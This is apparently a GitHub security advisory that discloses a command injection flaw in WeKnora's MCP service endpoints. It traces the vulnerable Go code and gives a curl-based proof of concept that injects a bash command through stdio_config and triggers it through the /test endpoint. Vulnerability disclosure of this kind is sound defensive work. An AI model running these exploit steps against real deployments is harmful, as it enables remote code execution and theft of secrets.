GHSA-78h3-63c4-5fqc

Vulnerability Description

Vulnerability Overview

This issue is a command injection vulnerability (CWE-78) that allows authenticated users to inject stdio_config.command/args into MCP stdio settings, causing the server to execute subprocesses using these injected values.

The root causes are as follows:

• Missing Security Filtering: When transporttype=stdio, there is no validation on stdioconfig.command/args, such as allowlisting, enforcing fixed paths/binaries, or blocking dangerous options.
• Functional Flaw (Trust Boundary Violation): The command/args stored as "service configuration data" are directly used in the /test execution flow and connected to execution sinks without validation.
• Lack of Authorization Control: This functionality effectively allows "process execution on the server" (an administrative operation), yet no administrator-only permission checks are implemented in the code (accessible with Bearer authentication only).

Vulnerable Code

1. API Route Registration (path where endpoints are created) **https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L85-L110 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/router/router.go#L371-L390

    // 认证中间件
       r.Use(middleware.Auth(params.TenantService, params.UserService, params.Config))
   
       // 添加OpenTelemetry追踪中间件
       r.Use(middleware.TracingMiddleware())
   
       // 需要认证的API路由
       v1 := r.Group("/api/v1")
       {
           RegisterAuthRoutes(v1, params.AuthHandler)
           RegisterTenantRoutes(v1, params.TenantHandler)
           RegisterKnowledgeBaseRoutes(v1, params.KBHandler)
           RegisterKnowledgeTagRoutes(v1, params.TagHandler)
           RegisterKnowledgeRoutes(v1, params.KnowledgeHandler)
           RegisterFAQRoutes(v1, params.FAQHandler)
           RegisterChunkRoutes(v1, params.ChunkHandler)
           RegisterSessionRoutes(v1, params.SessionHandler)
           RegisterChatRoutes(v1, params.SessionHandler)
           RegisterMessageRoutes(v1, params.MessageHandler)
           RegisterModelRoutes(v1, params.ModelHandler)
           RegisterEvaluationRoutes(v1, params.EvaluationHandler)
           RegisterInitializationRoutes(v1, params.InitializationHandler)
           RegisterSystemRoutes(v1, params.SystemHandler)
           RegisterMCPServiceRoutes(v1, params.MCPServiceHandler)
           RegisterWebSearchRoutes(v1, params.WebSearchHandler)
       }
   

   func RegisterMCPServiceRoutes(r *gin.RouterGroup, handler *handler.MCPServiceHandler) {
       mcpServices := r.Group("/mcp-services")
       {
           // Create MCP service
           mcpServices.POST("", handler.CreateMCPService)
           // List MCP services
           mcpServices.GET("", handler.ListMCPServices)
           // Get MCP service by ID
           mcpServices.GET("/:id", handler.GetMCPService)
           // Update MCP service
           mcpServices.PUT("/:id", handler.UpdateMCPService)
           // Delete MCP service
           mcpServices.DELETE("/:id", handler.DeleteMCPService)
           // Test MCP service connection
           mcpServices.POST("/:id/test", handler.TestMCPService)
           // Get MCP service tools
           mcpServices.GET("/:id/tools", handler.GetMCPServiceTools)
           // Get MCP service resources
           mcpServices.GET("/:id/resources", handler.GetMCPServiceResources)
       }
   

2. User input (JSON) → types.MCPService binding (POST /api/v1/mcp-services) **https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcp_service.go#L40-L55

       var service types.MCPService
       if err := c.ShouldBindJSON(&service); err != nil {
           logger.Error(ctx, "Failed to parse MCP service request", err)
           c.Error(errors.NewBadRequestError(err.Error()))
           return
       }
   
       tenantID := c.GetUint64(types.TenantIDContextKey.String())
       if tenantID == 0 {
           logger.Error(ctx, "Tenant ID is empty")
           c.Error(errors.NewBadRequestError("Tenant ID cannot be empty"))
           return
       }
       service.TenantID = tenantID
   
       if err := h.mcpServiceService.CreateMCPService(ctx, &service); err != nil {
   

3. Taint propagation (storage): The bound service object is stored directly in the database without sanitization. **https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/repository/mcp_service.go#L23-L25

   func (r *mcpServiceRepository) Create(ctx context.Context, service *types.MCPService) error {
       return r.db.WithContext(ctx).Create(service).Error
   }
   

4. Sink execution: /test endpoint loads the service from the database → executes TestMCPService

   https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/handler/mcpservice.go#L323-L325 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/application/service/mcpservice.go#L238-L264

       logger.Infof(ctx, "Testing MCP service: %s", secutils.SanitizeForLog(serviceID))
   
       result, err := h.mcpServiceService.TestMCPService(ctx, tenantID, serviceID)
   

       service, err := s.mcpServiceRepo.GetByID(ctx, tenantID, id)
       if err != nil {
           return nil, fmt.Errorf("failed to get MCP service: %w", err)
       }
       if service == nil {
           return nil, fmt.Errorf("MCP service not found")
       }
   
       // Create temporary client for testing
       config := &mcp.ClientConfig{
           Service: service,
       }
   
       client, err := mcp.NewMCPClient(config)
       if err != nil {
           return &types.MCPTestResult{
               Success: false,
               Message: fmt.Sprintf("Failed to create client: %v", err),
           }, nil
       }
   
       // Connect
       testCtx, cancel := context.WithTimeout(ctx, 30*time.Second)
       defer cancel()
   
       if err := client.Connect(testCtx); err != nil {
           return &types.MCPTestResult{
   

5. Ultimate sink (subprocess execution): The command/args values from stdio configuration are directly used in the subprocess execution path. **https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L120-L137 https://github.com/Tencent/WeKnora/blob/6b7558c5592828380939af18240a4cef67a2cbfc/internal/mcp/client.go#L158-L160

       case types.MCPTransportStdio:
           if config.Service.StdioConfig == nil {
               return nil, fmt.Errorf("stdio_config is required for stdio transport")
           }
   
           // Convert env vars map to []string format (KEY=value)
           envVars := make([]string, 0, len(config.Service.EnvVars))
           for key, value := range config.Service.EnvVars {
               envVars = append(envVars, fmt.Sprintf("%s=%s", key, value))
           }
   
           // Create stdio client with options
           // NewStdioMCPClientWithOptions(command string, env []string, args []string, opts ...transport.StdioOption)
           mcpClient, err = client.NewStdioMCPClientWithOptions(
               config.Service.StdioConfig.Command,
               envVars,
               config.Service.StdioConfig.Args,
           )
   

       if err := c.client.Start(ctx); err != nil {
           return fmt.Errorf("failed to start client: %w", err)
       }
   

PoC

PoC Description

• Obtain an authentication token.
• Create an MCP service with transporttype=stdio, injecting the command to execute into stdioconfig.command/args.
• Call the /test endpoint to trigger the Connect() → Start() execution flow, confirming command execution on the server via side effects (e.g., file creation).

PoC

• Container state verification (pre-exploitation)

  docker exec -it WeKnora-app /bin/bash
  cd /tmp/; ls -l
  

  <img width="798" height="78" alt="image" src="https://github.com/user-attachments/assets/3e387e39-cd80-4e30-ba23-3db9ff879209" />

• Authenticate via /api/v1/auth/login to obtain a Bearer token for API calls.

  API="http://localhost:8080"
  EMAIL="admin@gmail.com"
  PASS="admin123"
  
  TOKEN="$(curl -sS -X POST "$API/api/v1/auth/login" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"$EMAIL\",\"password\":\"$PASS\"}" | jq -r '.token // empty')"
  
  echo "TOKEN=$TOKEN"
  

  <img width="760" height="73" alt="image" src="https://github.com/user-attachments/assets/4e588f20-9371-4dc3-b585-def2cd752497" />

  <img width="1679" height="193" alt="image" src="https://github.com/user-attachments/assets/a372981c-dc4c-40e9-a9af-4d27fd36251a" />

• POST to /api/v1/mcp-services with transporttype=stdio and stdioconfig to define the command and arguments to be executed on the server.

  CREATE_RES="$(curl -sS -X POST "$API/api/v1/mcp-services" \
    -H "Authorization: Bearer $TOKEN" \
    -H "Content-Type: application/json" \
    -d '{
      "name":"rce",
      "description":"rce",
      "enabled":true,
      "transport_type":"stdio",
      "stdio_config":{"command":"bash","args":["-lc","id > /tmp/RCE_ok.txt && uname -a >> /tmp/RCE_ok.txt"]},
      "env_vars":{}
    }')"
  
  MCP_ID="$(echo "$CREATE_RES" | jq -r '.data.id // empty')"
  echo "MCP_ID=$MCP_ID"
  

  <img width="1296" height="354" alt="image" src="https://github.com/user-attachments/assets/d109dd4e-d051-46e3-bdcc-4d1a181d1635" />

• Invoke /api/v1/mcp-services/{id}/test to trigger Connect(), causing execution of the stdio subprocess.

  curl -sS -X POST "$API/api/v1/mcp-services/$MCP_ID/test" \
    -H "Authorization: Bearer $TOKEN" | jq .
  

  <img width="1270" height="217" alt="image" src="https://github.com/user-attachments/assets/2723ef39-f6b8-4478-b60e-5b6a4e667a1e" />

• Post-exploitation verification (container state)

  ls -l
  

  <img width="1243" height="221" alt="image" src="https://github.com/user-attachments/assets/5f78f83a-64e2-4a0a-95c4-6832f606fbcd" />

Impact

• Remote Code Execution (RCE): Arbitrary command execution enables file creation/modification, execution of additional payloads, and service disruption
• Information Disclosure: Sensitive data exfiltration through reading environment variables, configuration files, keys, tokens, and local files
• Privilege Escalation/Lateral Movement (Environment-Dependent): Impact may escalate based on container mounts, network policies, and internal service access permissions
• Cross-Tenant Boundary Impact: Execution occurs in a shared backend runtime; depending on deployment configuration, impact may extend beyond tenant boundaries (exact scope is uncertain and varies by deployment setup)